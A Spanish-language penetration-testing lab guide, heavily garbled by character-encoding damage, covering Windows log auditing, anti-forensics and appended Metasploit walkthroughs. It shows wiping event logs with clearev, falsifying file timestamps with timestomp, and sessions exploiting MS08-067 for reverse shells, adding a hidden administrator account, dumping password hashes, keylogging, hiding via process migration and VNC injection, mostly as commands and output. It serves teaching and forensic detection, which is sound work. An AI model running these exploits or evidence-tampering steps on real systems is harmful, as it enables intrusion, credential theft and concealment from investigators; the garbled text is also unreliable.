6$ Eaga doble clic sobre la auditor#a ue desea habilitar (por ejemplo Auditar sucesos de inicio de sesin ) y seleccione auditar los aciertos o los errores$ +as auditor#as de aciertos generan una entrada de auditor#a cuando un intento de inicio de sesin tiene 2"ito$ +as auditor#as de errores generan una entrada de auditor#a cuando un intento de inicio de sesin falla$ +os aciertos, como norma general, generar!n un gran volumen de informacin, por lo ue en ocasiones uiz!s sea conveniente auditar solo los errores$ +a informacin ue se genera mediante estas auditor#as se mostrar! entonces en el 1isor de sucesos$ H$ &n el 1isor de sucesos haga clic con el botn derecho sobre un tipo de registro (ej$ Aplicacin )$ Cs# puede borrar el registro, configurarlo o aplicar un filtro$

6$ -eleccione 9uardar archivo de registro $ +o puede llamar Aplicacin Backup. &sto se hace con el fin de preservar la evidencia y poder luego compararlo con el registro modificado por Metasploit$ Eaga el respaldo tambi2n de los dem!s registros$ <$ 4esde la m! uina del atacante (es decir desde Metasploit) ejecute el comando clearev ue se encarga de borrar los 5ltimos eventos en el Jegistro de sucesos de la m! uina de la v#ctima$

=$ &n el 1isor de sucesos de la m! uina penetrada, haga clic con el botn derecho sobre un tipo de registro (ej$ Aplicacin ) y seleccione Abrir archivo de registro $ Cbra Aplicacin Backup y compare los datos$ %epita con los dem!s registros$ REay rastros de la intrusinS

;D>; :$ +a revisin sistem!tica de los logs del sistema es muy importante$ -e aconseja leer la siguiente historia: http:88synjun)ie$blogspot$com8>9D989D8,hat;bob;did;,hat;alice;sa,;part;>$html

Seccin 5: Bo!!an"o 'a% $a!ca% "e ie$&o "e #na in !#%in ( i$e% o$&*
&l alterar o borrar los archivos del sistema no es suficiente para eliminar la evidencia de una penetracin, ya ue usualmente se dejan rastros en otras partes, por ejemplo en el %egistro de 1indo,s$ Cdem!s en muchos casos es inevitable tener ue interactuar con los archivos de alguna manera y entonces pueden uedar alteradas las marcas de tiempo (timestamps), conocidas como MCA times, ue representan los tiempos de modificacin, acceso y creacin del archivo (o directorio), delatando as# la intrusin$ &l tiempo de modificacin M es la 5ltima vez ue un archivo fue editado$ &l tiempo de acceso C es la 5ltima vez ue se realiz un acceso a un archivo (por ejemplo para leerlos)$ &l tiempo de creacin A es la hora y fecha en ue se cre el archivo$ &n 1indo,s se pueden ver las F marcas de tiempo MCA haciendo clic con el botn derecho sobre un archivo cual uiera y seleccionando Propiedades$ &n realidad, &"plorer indica como 5ltimo acceso el momento el momento actual, pero es incorrecto$ +a resolucin de tiempo C es de una hora, es decir ue si usted repite esa misma accin dentro de una hora o menos, el tempo C no se actualiza$ &n 1indo,s @ista el tiempo C no se actualiza nunca y entonces usualmente C T A$

&n 1indo,s el tiempo M de un archivo no cambia, a menos ue se edite$ &l tiempo A no cambia si se mueve al mismo volumen, pero cambia si se copia o mueve al mismo o a otro volumen, y entonces aparecer! A posterior a M$ +os tiempos MCA de un directorio son modificados cuando se agregan o uitan archivos a ese directorio$ Auando se transfieren archivos a trav2s de las redes, por lo general el tiempo M se conserva y el tiempo A es el actual (es decir ue A U M)$ -in embargo en ciertos tipos de descarga (ej, v#a F*') tambi2n M se modifica$ &n 1indo,s e"iste un !rea al inicio de cada volumen, llamada MF* (Master #ile Table ), ue contiene los meta5archivos V-*C?4C%4BG?FO y VFG+&B?CM& donde hay informacin adicional sobre cada uno de los archivos del volumen$ +os archivos del tipo V4C*C ue empiezan con V contienen metadatos y no son visibles normalmente$ &n particular, all# est!n los F tiempos MCA, ue ya se mencionaron anteriormente$ &n realidad, los meta5archivos de un medio digital (ej$ disco duro) guardan mucha m!s informacin ue simplemente los F tiempos MCA$ 4e hecho, en ?*F- se guarda un cuarto tiempo llamado & (de ntry) ue indica el tiempo en ue alg5n par!metro MCA fue modificado$ 4e manera ue en realidad se trata de tiempos MCA& y no simplemente los tiempos MCA$ &n +inu" el comportamiento es parecido a 1indo,s, pero usualmente no se actualiza el tiempo de acceso ( atime) de un archivo ejecutable, cuando el mismo es ejecutado$ &l tiempo de creacin ( ctime), m!s bien es el tiempo de cambio, ya ue corresponde a cuando se alteraron los metadatos del inode del archivo, tales como los derechos de acceso y el propietario$ &l tiempo de modificacin (mtime) corresponde a la 5ltima vez ue un archivo fue editado$ Aomo se ve, es asunto de las marcas de tiempo es algo complicado, tanto en 1indo,s como en +inu"$ $

D$ &n +inu" el comando stat permite averiguar la informacin sobre el inode de un archivo$ 'ruebe ese comando en un terminal de (ac)*rac) con un archivo cual uiera (en el ejemplo stat $root$hashes.txt ).

;DF;

>$ &l comando touch permite cambiar los tiempos atime y mtime (aun ue no ctime )$

F$ Csumiendo ue tiene abierta una l#nea de comandos de una m! uina 1indo,s remota a trav2s de Meterpreter, ejecute dir$ (-i no la tiene, ejecute previamente shell)$ &l comando dir despliega el contenido del directorio actual y el tiempo M de modificacin, es decir de escritura (1)$ H$ &jecute dir 6B2 $TBA para de esta forma ver los tiempos C del 5ltimo acceso 6$ &jecute dir 6B2 $TB6 para de esta forma ver los tiempos A de creacin$ (3tilice las funciones de cortar y pegar para no escribir comandos largos o complejos) <$ &jecute dir 6B2 $TB: para ver los tiempos A de escritura, es decir de modificacin (M)$ =$ %epita los comandos anteriores para ver los tiempos MCA de un archivo, (ej$ dir 2:indo"s2system%-2netapi%-.dll )$ :$ Cl intruso ue ha penetrado en un sistema y ha le#do o modificado archivos, no le conviene ue se detecte la intrusin, por lo ue intenta restablecer los tiempos MCA& de los archivos a su valor anterior utilizando el mdulo timestomp, una herramienta desarrollada por Metasploit Cnti;Forensics 'roject ue sirve para ver y modificar los tiempos MCA& de los archivos en ?*F-$ *imestomp tambi2n se puede correr de forma nativa en 1indo,s, como de describe en la gu#a de la pr!ctica sobre For2nsica 4igital y Marcas de *iempo y junto a herramientas como slacker para ocultar archivos en el slack space de ?*F- y sam0uicer para obtener contrase0as de 1indo,s, conforman el Metasploit Anti5#orensic 8nvestigation Arsenal (MCFGC)$ Aon timestomp se consigue evitar ue un analista forense obtenga la l#nea de tiempo de sucesos en un sistema, dificultando la correlacin de eventos y desacreditando la evidencia digital$ *odo lo anterior enturbia la etapa de an!lisis de datos dentro del proceso digital forense$ K$ 'ara usar timestomp, en primer lugar si se encuentra en una l#nea de comandos de 1indo,s, escriba exit o pulse AtrlIJ$ +uego escriba use priv, ya ue se re uiere cargar esta e"tensin de Meterpreter$ &scriba timestomp 5h para ver las opciones$

D9$ 'ara ver los tiempos MCA& de un archivo, ejecute un comando como el siguiente:

;DH; DD$ &n este ejemplo se escogi el archivo netapi%-.dll , ue fue utilizado en un e"periencia de la pr!ctica anterior 'ruebas de penetracin de redes y servicios para reemplazar el archivo nuevo del mismo nombre, con el fin de ue fuera e"itoso el e"ploit :indo"s$smb$ms&'(&)*(netapi $ D>$ -i la v#ctima, sospechando la intrusin, e"plora la carpeta archivo $:indo"s$system%-, uiz!s se de cuenta ue la fecha de netapi%-.dll (a0o >99H) es distinta del resto y podr#a tomar alguna medida correctiva o investigativa$

DF$ &ntonces mediante timestomp modifi ue la fecha MCA para ue coincida con la fecha MCA de otro archivo lel sistema (ej$ net.exe ), de la siguiente forma: cd $"indo"s$system%timestomp netapi%-.ddl 5f net.exe DH$ +uego ejecute timestomp netapi%-.dll y analice los tiempos MCA&$ -i no est! satisfecho, entonces puede modificar invidualmente uno cual uiera de los tiempo MCA&:

D6$ 'ero ahora surge un problema: Cparece la diferencia de una hora, lo cual es incorrecto$ &sto se debe a la forma en ue se muestran las zonas horarias$ 1indo,s muestra los tiempos en ;9<99, mientras ue Metasploit muestra los tiempos en ;9699, por lo ue hay ue ajustar a una hora menos en timestomp para ue produzca el valor correcto$ *odo esto ilustra lo complejo ue pueden llegar a ser los tiempos MCA&, as# ue debe tener mucho cuidado si decide modificarlos$

D<$ *imestomp presenta una debilidad ue puede ser aprovechada por los analistas forenses para evidenciar ue han usado este programa y conforme a esto, responder a las circunstancias apropiadamente$ &l principal defecto es la modificacin de la informacin MCA& del 3tandard 8nformation Attribute (-GC) y no del #ile !ame Attribute (F?) dentro de la MF*, ya ue en condiciones normales, las fechas y horas registradas en -GC deben ser mayores o iguales a las registradas en F?$ &ntonces es posible asegurar ue han cambiado las fechas del -GC y sospechar ue han usado timestomp, al no ver el cambio en el F?$ 3na potencial solucin a esta debilidad de timestomp consiste en modificar los valores F? con una herramienta ue permita alterar datos .crudos/ como 1inEe", de tal forma se evita la inconsistencia en los datos del tiempo$ D=$ &n el an!lisis forense de un sistema penetrado mediante Meterpreter hay aspectos interesantes$ 4esde el punto de vista del atacante, timestomp permite manipular los atributos de los archivos, como el tiempo del 5ltimo acceso, modificacin, etc$, para as# intentar borrar los rastros de la intrusin$ 4esde el punto de vita de la v#ctima o del investigador forense, hay ue destacar ue Meterpreter no deja rastro de s# mismo en el disco duro, por lo ue ser#a necesario un volcado y an!lisis de la memoria %CM para detectarlo$ +o ue s# se puede detectar es la cone"in entre las > m! uinas$ Gmaginemos entonces ue estamos en la m! uina penetrada y sospechamos ue hemos podido ser v#ctimas de una intrusin$ +a ejecucin del comando netstat 5ano nos da una pista sobre la intrusin, al revelarnos la cone"in establecida con el atacante y adem!s el 'G4 del proceso (ej$ D9>:)$

;D6;

:
D:$ &l comando lo puede ejecutar remotamente tambi2n el atacante si tiene una sesin shell abierta$ DK$ Cl ejecutar tasklist, aparece el nombre correspondiente a ese 'G4$ 'ero note cmo el proceso se disfraza bajo alguno de los servicios manejados por svchost.exe (servicio de red)$ &jecute tasklist $svc y luego tasklist $m | more para ver los detalles$

>9$ *anto la victima como el atacante podr#an .matar/ ese proceso mediante el comando taskkill (por ejemplo taskkill $pid +&-' ) y con eso se cortar#a la cone"in con el atacante$ -in embargo posiblemente dejar#an de funcionar otros servicios de 1indo,s agrupados bajo svchost y habr#a ue reiniciar la m! uina$ >D$ -i ahora decide terminar la sesin remota, escriba exit o pulse 6tr76$ Fin del ata ue ; 7ame over$ >>$ -i ahora decide salir de Metasploit, escriba exit $

Seccin I: In/o!$e
&labore un informe de no menos de : p!ginas donde se reportan las e"periencias m!s relevantes, se analizan los resultados obtenidos, finalizando con conclusiones y eventuales recomendaciones$ &l informe debe ser individual y redactado con palabras propiasW no se permite repetir el te"to del material ue se encuentra en esta gu#a, en el 4@4 o en otras fuentes$ 4ebe contener un resumen de las actividades realizadas, con ejemplo de resultados$ 4eben analizarse y discutirse esos resultados, en particular si se presentaron problemas o aspectos inesperados$ *ambi2n deben incluirse las conclusiones y eventuales recomendaciones$ +os informes deben enviarse regularmente al profesor a lo largo del curso, mediante el correo electrnico$ -er!n penalizadas las entregas retrasadas y no se aceptar!n entregas muy retrasadas$ Cdem!s ?O se aceptar!n informes entregados todos juntos y apresuradamente las 5ltimas semanas y los 5ltimos d#as de finalizacin del curso$

;D<;

E6e$&'o% a"iciona'e% "e' #%o "e Me a%&'oi y Me e!&!e e!


!etasploit 2ra+e,or<= *+ap= Shell 5everso por 4le0is 5odr>g6e? % ale0is.rodrig6e?.sti@g+ail.1o+ % :,itter$ @ale01p6 (';9AB3:(C9$ "#2."68."." (';4:4-4*:3$ "#2."68.".2 *** (nstalar !S2 *** ,,,.+etasploit.1o+ ()ebido a D6e 8b6nt6 no trae por de7e1to el interprete de 56by ne1esita+os instalarlo= ade+as de 6na libreria para soporte SSE F s6do apt%get install r6by".8 F s6do apt%get libopenssl%r6by".8 rails (AaGar !S2 e instalar F tar %0vv7 7ra+e,or<%3.7.tar.g? F 1d 7ra+e,or<%3.7 F .H+s71onsole *** *+ap *** F n+ap %v %sC "#2."68."." (30pli1o las op1iones$ %v I verbose %sC I -on esto obtene+os la versiJn del servi1io D6e esta 1orriendo baGo 6n p6erto deter+inado. F n+ap %s' "#2."68.".* ***** 4taD6e 1on !S2 ***** F +s7 & 6se e0ploitH,indo,sHs+bH+s08;067;netapi F +s7 e0ploit(+s08;067;netapi !od6le options$ & sho, options )es1ription %%%%%%%% %%%%%%%%%%% :he target address Set the S!A servi1e port :he pipe na+e to 6se (A59/S35= S5CSC-

*a+e -6rrent Setting 5eD6ired %%%% %%%%%%%%%%%%%%% 5K9S: yes 5'95: 445 yes S!A'('3 A59/S35 yes 30ploit target$ (d *a+e %% %%%% 0 46to+ati1 :argeting F +s7 e0ploit(+s08;067;netapi 5K9S: I& "#2."68."." F +s7 e0ploit(+s08;067;netapi

& set 5K9S: "#2."68."." & set '4LE94) ,indo,sHshellHreverse;t1p

'4LE94) I& ,indo,sHshellHreverse;t1p F +s7 e0ploit(+s08;067;netapi !od6le options$ *a+e -6rrent Setting %%%% %%%%%%%%%%%%%%% & sho, options 5eD6ired %%%%%%%% )es1ription %%%%%%%%%%%

5K9S: 5'95: S!A'('3

"#2."68."." 445 A59/S35

yes yes yes

;D=; :he target address Set the S!A servi1e port :he pipe na+e to 6se (A59/S35= S5CSC-

'ayload options (,indo,sHshellHreverse;t1p $ *a+e -6rrent Setting 5eD6ired )es1ription %%%% %%%%%%%%%%%%%%% %%%%%%%% %%%%%%%%%%% 3M(:28*- thread yes 30it te1hniD6e$ seh= thread= pro1ess EK9S: yes :he lo1al address E'95: 4444 yes :he lo1al port 30ploit target$ (d *a+e %% %%%% 0 46to+ati1 :argeting F +s7 e0ploit(+s08;067;netapi EK9S: I& "#2."68.".2 F +s7 e0ploit(+s08;067;netapi [*] [*] [*] [*] [*] [*] [*] & set EK9S: "#2."68.".2 & e0ploit

Started reverse handler 46to+ati1ally dete1ting the target... 2ingerprint$ /indo,s M' Servi1e 'a1< 2 % lang$Spanish Sele1ted :arget$ /indo,s M' S'2 Spanish (*M :riggering the v6lnerability... Sending stage (240 bytes -o++and shell session " opened ("#2."68.".2$4444 %& "#2."68."."$"035

!i1roso7t /indo,s M' [Cersion 5.".2600] (- -opyright "#85%200" !i1roso7t -orp. -$./(*)9/S.syste+32& * * * * * 3s1alar privilegios * * * * * * -$./(*)9/S.syste+32& (se apli1a el e0ploit y se logra el 1+d re+oto del obGetivo= ahora a es1alar privilegios * -$./(*)9/S.syste+32&ip1on7ig (veri7i1a+os la ip * -$.&net 6ser 6s6ario 'ass,ord"23 Hadd He0pires$never net 6ser 6s6ario 'ass,ord"23 Hadd He0pires$never :he 1o++and 1o+pleted s611ess76lly. (1rea+os 6n 6s6ario lo1al en el eD6ipo obGetivo * -$.&net lo1algro6p 4d+inistrators 6s6ario Hadd net lo1algro6p 4d+inistrators 6s6ario Hadd :he 1o++and 1o+pleted s611ess76lly. (agrega+os el 6s6ario 1o+o ad+inistrador lo1al= 6sar 4d+inistrators o * -$./(*)9/S.syste+32&nltest Hd1list$)9!(*(9;*9!A53 (E(S:45 E9S -9*:59E4)953S )3E )9!(*(9

4d+inistradores

!etasploit 2ra+e,or<= !eterpreter por 4le0is 5odr>g6e? % ale0is.rodrig6e?.sti@g+ail.1o+ % :,itter$ @ale01p6 (';9AB3:(C9$ "#2."68."."

;D:; (';4:4-4*:3$ "#2."68.".2 !eterpreter$ *os per+ite a6to+ati?ar el trabaGo post%e0plota1iJn +ediante s1ripts avan?ados. 3stos nos 7a1ilitan tareas 1o+o la intera11iJn 1on el registro de ,indo,s (regedit = borrado de rastros= des1argarHs6bir ar1hivos= 1apt6ra de pass,ords del siste+a (hash d6+p = eGe161iJn de pro1esos= ter+ina1iJn de pro1esos= edi1iJn de ar1hivos de te0to= ti+e sta+p= et1. 41tiva+os !S2 y 6sar el '4LE94)$ !eterpreter. F +s7 & 6se e0ploitH,indo,sHs+bH+s08;067;netapi F +s7 e0ploit(+s08;067;netapi 5K9S: I& "#2."68."." & set 5K9S: "#2."68."."

F +s7 e0ploit(+s08;067;netapi & set '4LE94) ,indo,sH+eterpreterHreverse;t1p '4LE94) I& ,indo,sH+eterpreterHreverse;t1p F +s7 e0ploit(+s08;067;netapi EK9S: I& "#2."68.".2 * * * * * -o+andos * * * * * * ba1<gro6nd$ 3nvia al seg6ndo plano la sesion a1tiva. e0it$ :er+ina la sesion abierta de !eterpreter help$ !6estra la ay6da irb$ (ni1ia el interprete de 56by (irb . +igrate$ !igra de 6n pro1eso a otro D6it$ :er+ina la sesion abierta de !eterpreter r6n$ 3Ge16ta 6n s1ript de !eterpreter. 6se$ 'resionando dos ve1es :4A vere+os los disponibles. -arga 6na o +as e0tension de !eterpreter. 1at$ !6estra el 1ontenido de 6n ar1hivo de te0to. 1d$ -a+bia a 6n dire1torio del$ 3li+ina 6n ar1hivo espe1i7i1o do,nload$ )es1arga 6n ar1hivo o dire1torio al eD6ipo lo1al edit$ 3dita 6n ar1hivo getl,d$ !6estra el dire1torio lo1al en el D6e esta+os trabaGando get,d$ !6estra el dire1torio re+oto en el D6e esta+os trabaGando l1d$ -a+bia a 6n dire1torio lo1al lp,d$ !6estra el dire1torio lo1al en el D6e esta+os trabaGando ls$ !6estra los ar1hivos 1ontenidos en 6n dire1torio +<dir$ -rea 6n dire1torio p,d$ !6estra el dire1torio re+oto en el D6e esta+os trabaGando r+$ 3li+ina 6n ar1hivo espe1i7i1o r+dir$ 3li+ina 6n dire1torio espe1i7i1o 6pload$ S6be 6n ar1hivo o dire1torio al eD6ipo re+oto ip1on7ig$ !6estra las inter7a1es de red 1learev$ 3li+ina los logs al+a1enados en la apli1a1ion NCisor de S61esosO e0e16te$ 3Ge16ta 6n 1o+ando getpid$ !6estra la identi7i1a1ion del pro1eso en el D6e esta+os get6id$ !6estra el 6s6ario en el D6e esta+os a1t6al+ente <ill$ :er+ina 6n pro1eso ps$ !6estra los pro1esos en eGe161ion reboot$ 5eini1ia el eD6ipo re+oto reg$ !odi7i1a e intera1t6a 1on el registro re+oto shell$ *os lan?a a 6na 1onsola en el eD6ipo re+oto sh6tdo,n$ 4paga el eD6ipo re+oto sysin7o$ *os +6estra in7or+a1ion sobre el eD6ipo re+oto <eys1an;d6+p$ !6estra las p6lsa1iones de te1las grabadas & set EK9S: "#2."68.".2

;DK; <eys1an;start$ 3+pie?a a 1apt6rar p6lsa1iones de te1las <eys1an;stop$ )etiene la 1apt6ra de p6lsa1iones de te1las hashd6+p$ !6estra el 1ontenido de la S4! (-ontiene los 6s6arios y pass,ords en1riptadas F +eterpreter & get6id Server 6serna+e$ *: 48:K95(:L.SLS:3! F +eterpreter & getpid (4D6i obtene+os el '() en el D6e esta+os -6rrent pid$ "076 )esp6es de la e0plota1ion= !eterpreter se +etio en este pro1eso F +eterpreter & ps 'ro1ess list IIIIIIIIIIII '() *a+e 'ath %%% %%%% %%%% 580 s+ss.e0e .Syste+5oot.Syste+32.s+ss.e0e "076 sv1host.e0e -$./(*)9/S.syste+32.sv1host.e0e "076 sv1host.e0e F +eterpreter & +igrate "4#2 [*] !igrating to "4#2... [*] !igration 1o+pleted s611ess76lly. +eterpreter & getpid -6rrent pid$ "4#2 (Se +igrJ el pro1eso a e0plorer.e0e= alli es di7i1il lo1ali?ar y se esta tranD6ilo * Siste+a de ar1hivos del re+oto * F +eterpreter & p,d -$./(*)9/S.syste+32 F +eterpreter & 1d 1$. F +eterpreter & p,d 1$. F +eterpreter & ls Eisting$ 1$. IIIIIIIIIIII !ode %%%%%%%%%%%%% "00555Hr%0r%0r%0 ...

Si?e %%%% ""5578 7il

:ype

East +odi7ied 31.e0e

*a+e

200#%0#%07 "5$08$08 %0600

* )es1argar ar1hivos * F +eterpreter & lp,d Hroot (4signa+os el dire1torio lo1al destino F +eterpreter & do,nload ar1hivo.e0e ... [*] do,nloaded$ ar1hivo.e0e %& ar1hivo.e0e * Shell re+oto *

;>9; F +eterpreter & 1d . F +eterpreter & shell 'ro1ess ""04 1reated. -hannel 4 1reated. !i1roso7t /indo,s M' [Cersin 5.".2600] (- -opyright "#85%200" !i1roso7t -orp. -$.& ((g6al+ente pode+os eGe16tarlo 1o+o otros progra+as asi$ F +eterpreter & e0e16te %i %K %7 1+d.e0e 'ro1ess "3#6 1reated. -hannel 5 1reated. !i1roso7t /indo,s M' [Cersin 5.".2600] (- -opyright "#85%200" !i1roso7t -orp. -$.& 3n donde$ %i$ (ntera1t6a 1on la apli1a1in a eGe16tar %K$ 3Ge16ta el 1o+ando en +odo o16lto %7$ Ea apli1a1ion a eGe16tar 'ara salir es1ribir$ e0it

!etasploit 2ra+e,or<= C*por 4le0is 5odr>g6e? % ale0is.rodrig6e?.sti@g+ail.1o+ % :,itter$ @ale01p6 (';9AB3:(C9$ "#2."68."." (';4:4-4*:3$ "#2."68.".2 F +s7 e0ploit(+s08;067;netapi & set payload ,indo,sHvn1inGe1tHreverse;t1p payload I& ,indo,sHvn1inGe1tHreverse;t1p F +s7 e0ploit(+s08;067;netapi !od6le options$ *a+e -6rrent Setting %%%% %%%%%%%%%%%%%%% 5K9S: 5'95: 445 S!A'('3 A59/S35 & sho, options 5eD6ired %%%%%%%% yes yes yes )es1ription %%%%%%%%%%% :he target address Set the S!A servi1e port :he pipe na+e to 6se (A59/S35= S5CSC-

'ayload options (,indo,sHvn1inGe1tHreverse;t1p $ *a+e %%%% 48:9C*3M(:28*EK9S: E'95: C*-K9S: C*-'95: -6rrent Setting %%%%%%%%%%%%%%% tr6e thread 4444 "27.0.0." 5#00 5eD6ired %%%%%%%% yes yes yes yes yes yes )es1ription %%%%%%%%%%% 46to+ati1ally la6n1h C*- vie,er i7 present 30it te1hniD6e$ seh= thread= pro1ess= none :he listen address :he listen port :he lo1al host to 6se 7or the C*- pro0y :he lo1al port to 6se 7or the C*- pro0y

30ploit target$

;>D; (d %% 0 *a+e %%%% 46to+ati1 :argeting & set 5K9S: "#2."68."." & set EK9S: "#2."68.".2

F +s7 e0ploit(+s08;067;netapi 5K9S: I& "#2."68."." F +s7 e0ploit(+s08;067;netapi EK9S: I& "#2."68.".2

F +s7 e0ploit(+s08;067;netapi & set target # target I& # (Cersion del siste+a operativo F +s7 e0ploit(+s08;067;netapi & e0ploit

[*] Started reverse handler on "#2."68.".2$4444 [*] 4tte+pting to trigger the v6lnerability... [*] Sending stage (445440 bytes to "72."6.48.5 [*] C*- Server session " opened ("#2."68.".2$4444 %& "#2."68."."$4### at 20"0%"0%"# "4$5"$0# %0430 [*] Starting lo1al :-' relay on "27.0.0."$5#00... [*] Eo1al :-' relay started. [*] Ea6n1hed vn1vie,er. [*] Session " 1reated in the ba1<gro6nd. +s7 e0ploit(+s08;067;netapi & -onne1ted to 52A server= 6sing proto1ol version 3.8 3nabling :ightC*- proto1ol e0tensions *o a6thenti1ation needed 46thenti1ation s611ess76l )es<top na+e P/(*M'P C*- server de7a6lt 7or+at$ 32 bits per pi0el. Eeast signi7i1ant byte 7irst in ea1h pi0el. :r6e 1olo6r$ +a0 red 255 green 255 bl6e 255= shi7t red "6 green 8 bl6e 0 8sing de7a6lt 1olor+ap ,hi1h is :r6e-olor. 'i0el 7or+at$ 32 bits per pi0el. Eeast signi7i1ant byte 7irst in ea1h pi0el. :r6e 1olo6r$ +a0 red 255 green 255 bl6e 255= shi7t red "6 green 8 bl6e 0 8sing shared +e+ory '6t(+age Sa+e +a1hine$ pre7erring ra, en1oding (arran1a la ventana de vn1= 1on 28 se to+a 1ontrol del +enQ C*- y se p6ede enviar -rtlR4ltR)el para desbloD6ear la ventana

!etasploit 2ra+e,or<= !od6lo 460iliary por 4le0is 5odr>g6e? % ale0is.rodrig6e?.sti@g+ail.1o+ % :,itter$ @ale01p6 (';9AB3:(C9$ "#2."68."." (';4:4-4*:3$ "#2."68.".2 *** !od6lo a60iliar *** 4:4S83 SSK$ F +s7 & 6se a60iliaryHs1annerHsshHssh;version F +s7 a60iliary(ssh;version F +s7 a60iliary(ssh;version & & sho, options

;>>; !od6le options$ *a+e -6rrent Setting %%%% %%%%%%%%%%%%%%% 5K9S:S 5'95: 22 :K534)S " F +s7 a60iliary(ssh;version 5K9S:S I& "#2."68."." F +s7 a60iliary(ssh;version [*] [*] [*] +s7 5eD6ired %%%%%%%% yes yes yes )es1ription %%%%%%%%%%% :he target address range or -()5 identi7ier :he target port :he n6+ber o7 1on16rrent threads

& set 5K9S:S "#2."68."." & r6n

"#2."68."."$22= SSK server version$ SSK%".5%-is1o%".25 S1anned " o7 " hosts ("00T 1o+plete 460iliary +od6le e0e16tion 1o+pleted a60iliary(ssh;version &

*** 460iliaryHs1annerHports1an *** F +s7 & 6se a60iliaryHs1annerHports1anHt1p F +s7 a60iliary(t1p & sho, options !od6le options$ *a+e -6rrent Setting %%%% %%%%%%%%%%%%%%% '95:S "%"0000 5K9S:S :K534)S " :(!398: "000 F +s7 a60iliary(t1p 5K9S:S I& "#0.5.0.0 F +s7 a60iliary(t1p [*] :-' 9'3* ... [*] :-' 9'3* [*] S1anned " [*] 460iliary 5eD6ired %%%%%%%% yes yes yes yes )es1ription %%%%%%%%%%% 'orts to s1an (e.g. 22%25=80=""0%#00 :he target address range or -()5 identi7ier :he n6+ber o7 1on16rrent threads :he so1<et 1onne1t ti+eo6t in +illise1onds

& set 5K9S:S "#0.5.0.0 & r6n

"#0.5.0.0$2" "#0.5.0.0$80 o7 " hosts ("00T 1o+plete +od6le e0e16tion 1o+pleted '8:H)3E3:3 en 6n servidor ,eb y si esta

*** s1annerHhttpH,riteble *** -o+pr6eba si estan per+itidos los +etodos per+itido= seria 6n error

F +s7 & 6se a60iliaryHs1annerHhttpH,ritable F +s7 a60iliary(,ritable & set 5K9S: 00000.net 5K9S: I& 00000.net F +s7 a60iliary(,ritable & r6n

[*] 8pload 7ailed on http$HH"#0.5.0.0$80 [405 !ethod *ot 4llo,ed] [*] S1anned " o7 " hosts ("00T 1o+plete [*] 460iliary +od6le e0e16tion 1o+pleted *** s1annerHhttpHoptions **** -o+o obtener las op1iones habilitadas en 6n servidor ,eb$ F +s7 a60iliary(anony+o6s & 6se a60iliaryHs1annerHhttpHoptions

;>F; F +s7 a60iliary(options 5K9S:S I& 000000.net F +s7 a60iliary(options & set 5K9S:S 00000.net & r6n

[*] "#0.5.0.0 allo,s U3:=K34)='9S:=9':(9*S=:54-3 +ethods [*] S1anned " o7 " hosts ("00T 1o+plete [*] 460iliary +od6le e0e16tion 1o+pleted *** s1annerHhttpH,+ap;7iles;dir *** 3ste +od6lo= nos +6estra la estr61t6ra de dire1torios del servidor ,eb espe1i7i1ado. F +s7 a60iliary(,+ap;dir;listing F +s7 a60iliary(,+ap;7iles;dir F +s7 a60iliary(,+ap;7iles;dir & 6se a60iliaryHs1annerHhttpH,+ap;7iles;dir & set 5K9S:S 00000.hn & r6n

[*] 8sing 1ode V404V as not 7o6nd. [*] 2o6nd http$HH"#0.5.#2.20$80Had+in 30" [*] S1anned " o7 " hosts ("00T 1o+plete [*] 460iliary +od6le e0e16tion 1o+pleted (3Ge+plo si+ple= pero se +6estra +as dire1torios *** s1annerH7tpHanony+o6s *** Ceri7i1a si esta per+itido el 6s6ario anoni+o en 6n servidor 7tp. F +s7 a60iliary(,ritable F +s7 a60iliary(anony+o6s 5K9S:S I& "27.0.0." (Se probo en eD6ipo lo1al F +s7 a60iliary(anony+o6s & 6se a60iliaryHs1annerH7tpHanony+o6s & set 5K9S:S "27.0.0."

& r6n

[*] "27.0.0."$2" 4nony+o6s 534) (220 (vs2:'d 2.0.7 [*] S1anned " o7 " hosts ("00T 1o+plete [*] 460iliary +od6le e0e16tion 1o+pleted (*os +6estra D6e el 6s6arios esta per+itido$ N4nony+o6s 534)O. -6ando no esta presente se eGe16ta y no lo +6estra *** s1annerHs+bHversion *** Cer e0a1ta+ente D6e S9 y version F +s7 & 6se a60iliaryHs1annerHs+bHversion F +s7 a60iliary(version F +s7 a60iliary(version & set 5K9S:S "#2."68."." & r6n

[*] "#2."68."." is r6nning /indo,s M' Servi1e 'a1< 2 (lang6age$ Spanish [*] S1anned " o7 " hosts ("00T 1o+plete [*] 460iliary +od6le e0e16tion 1o+pleted

You might also like